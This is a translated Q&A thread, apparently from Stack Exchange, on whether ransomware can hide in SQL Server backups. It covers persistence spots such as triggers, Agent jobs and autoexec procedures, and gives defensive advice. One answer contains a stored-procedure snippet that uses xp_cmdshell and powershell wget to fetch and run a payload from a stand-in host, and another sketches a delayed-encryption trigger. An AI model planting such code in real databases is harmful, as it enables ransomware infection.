O ransomware pode se incorporar a um arquivo de backup SQL?

Nunca diga nunca , mas como os backups não são arquivos executáveis ​​e não contêm código executável diretamente (eles são sobre os dados, não o próprio software SQL Server), acho que o risco é muito, muito baixo. Seria mais provável que seus arquivos de backup fossem o alvo do ramsomware e não o agente da infecção. Qualquer coisa executável teria que ser executável de dentro do banco de dados, como um procedimento armazenado. Existem maneiras muito mais efetivas e diretas para o ransomware se espalhar.

O que você normalmente precisa se preocupar é que o ransomware encontre seus backups na rede e os criptografe. Quando o ransomware atinge sua rede, ele normalmente se propaga rapidamente e bloqueia tudo o que pode encontrar. Se o ransomware obtiver privilégios de administrador de domínio, isso normalmente acontece em questão de minutos.

Na pior das hipóteses, o ransomware coloca seu servidor de banco de dados offline e criptografa todos os backups também. Se você não tiver cópias offline de seus backups, pode ser um desafio, se não impossível, recuperá-los. Para se proteger verdadeiramente, certifique-se de manter cópias offline de seus backups.

Sim. Eu nunca vi isso embora.

SQL Server tem um recurso onde você pode escrever procedimentos armazenados em C#. Nós pensamos em usá-lo uma vez. A partir de algumas versões atrás, esse recurso está desativado por padrão.

Portanto, se o ransomware ativar o recurso e converter alguns procedimentos armazenados em C# e se adicionar, quando você restaurar o backup, receberá um erro ao tentar usar esses procedimentos armazenados e provavelmente ativá-lo. Em seguida, o código C# será executado.

Agora aqui é onde fica suculento. Houve tantas vulnerabilidades de escape de sandbox que a MS desistiu e preteriu o Silverlight e desativou os procedimentos armazenados do .NET no SQL Server por padrão. Seria desaconselhável supor que, só porque você não consegue encontrar um que funcione hoje, não resta mais nada.

Um ataque um pouco mais realista seria modificar um SP que faz algo ao longo das linhas de

IF (session is admin)
BEGIN
    -- xp_cmdshell is off by default but this is a speed bump; SQL can just turn it on
    -- I've done it before because I had to put up with surface area configuration broken, but I'm not writing it here
    xp_cmdshell 'powershell wget https://badsite.com/ransomware.exe'
    xp_cmdhsell 'ransomware.exe'
END

e então é só esperar que algum administrador de sistema o execute. Os backups restaurados em instâncias temporárias raramente são usados ​​por usuários devidamente restritos. Por outro lado, o referido ransomeware precisará ser bastante semelhante a um worm para obter qualquer coisa que não possa ser simplesmente apagada.

Além da resposta de @Joshua nos procedimentos SQLCLR, existem outros lugares em que vírus e ransomware podem se infiltrar:

• Acionadores DDL em nível de banco de dados, que teriam o benefício de serem executados por um DBA, que provavelmente possui sadireitos.

Isso leva a alguns lugares mais perniciosos:

• O msdbbanco de dados, em particular as tabelas de Trabalhos do SQL Server Agent, onde ele pode configurar um trabalho agendado para ser executado em intervalos específicos. Isso pode ser em T-SQL ou em Powershell.
• Ele pode entrar no banco de masterdados. Se ele entrou aqui, existem alguns lugares diferentes que ele pode se esconder:
  • Ele pode definir um gatilho DDL, o mesmo que qualquer outro banco de dados.
  • Ele poderia definir um gatilho de logon, que seria executado toda vez que alguém fizer logon, que acho que é executado como sa.
  • Ele pode configurar um procedimento de Execução Automática, que é executado em cada inicialização. Isso é feito com o sp_procoptionprocedimento do sistema .
• Ele poderia entrar em tempdb, onde poderia configurar um gatilho DDL para disparar toda vez que uma tabela temporária fosse criada. tempdbnão é feito backup embora.
• Ele pode se esconder no modelbanco de dados, pronto para aparecer na próxima vez que você criar um novo banco de dados.

Nenhuma dessas coisas é possível se as permissões nesses bancos de dados não forem alteradas e o vírus nunca obter sysadmindireitos, o que reconhecidamente é difícil de evitar.

Observe também que a conta sob a qual o SQL Server é executado deve ser uma conta de serviço limitada em vez de SYSTEM, o que impediria um comprometimento completo do sistema operacional do servidor se o SQL Server fosse comprometido da maneira acima.

Observe ainda que, se houver um comprometimento do sistema operacional até o sunível Administrador/, considere todos os locais do SQL Server acima como suspeitos. A melhor prática seria construir os bancos de dados do sistema do zero.

Geralmente, o ransomware é executado como um programa em seu sistema operacional, criptografa arquivos (possivelmente dependendo do tipo de arquivo) e, se você tiver sorte, não deixa bombas-relógio em arquivos exe descriptografados posteriormente.

No entanto, o ransomware pode direcionar diretamente um banco de dados, embora eu não tenha conhecimento de nenhum que faça isso (ainda). Isso provavelmente seria um ataque direcionado, não geral, pois os ataques gerais tentam encontrar o maior número possível de alvos e há muito mais servidores/PCs gerais do que servidores de banco de dados.

Se eu quisesse escrever algum ransomware para atingir você diretamente, escreveria um procedimento armazenado e o anexaria a um gatilho em algum lugar. Faça com que o procedimento armazenado não faça nada por uma ou duas semanas após a infecção, para garantir que os backups atuais também contenham o procedimento armazenado. Após duas semanas, o procedimento armazenado começaria a criptografar suas tabelas de banco de dados. Faça uma cópia criptografada de cada tabela, o que levaria um tempo, e então elimine as tabelas originais, e nesse ponto você notará que algo está errado.

Nesse cenário, todos os seus backups completos teriam o procedimento armazenado e o acionador também, portanto, após a restauração de um backup, seu banco de dados pareceria normal por um tempo, até que o acionador fosse acionado novamente.

Obviamente, o procedimento armazenado normalmente não seria capaz de acessar seu sistema de arquivos (mas cuidado com bancos de dados que permitem acesso ao sistema de arquivos), mas um banco de dados que se torna inutilizável a cada poucos dias é ruim o suficiente para sua organização.

Se você puder fazer uma instalação limpa do seu software e criar um banco de dados vazio de acordo com as especificações do fornecedor, restaurar apenas os dados da tabela (basicamente, uma restauração que contém apenas DML, sem instruções DDL), você se livrará de o ransomware.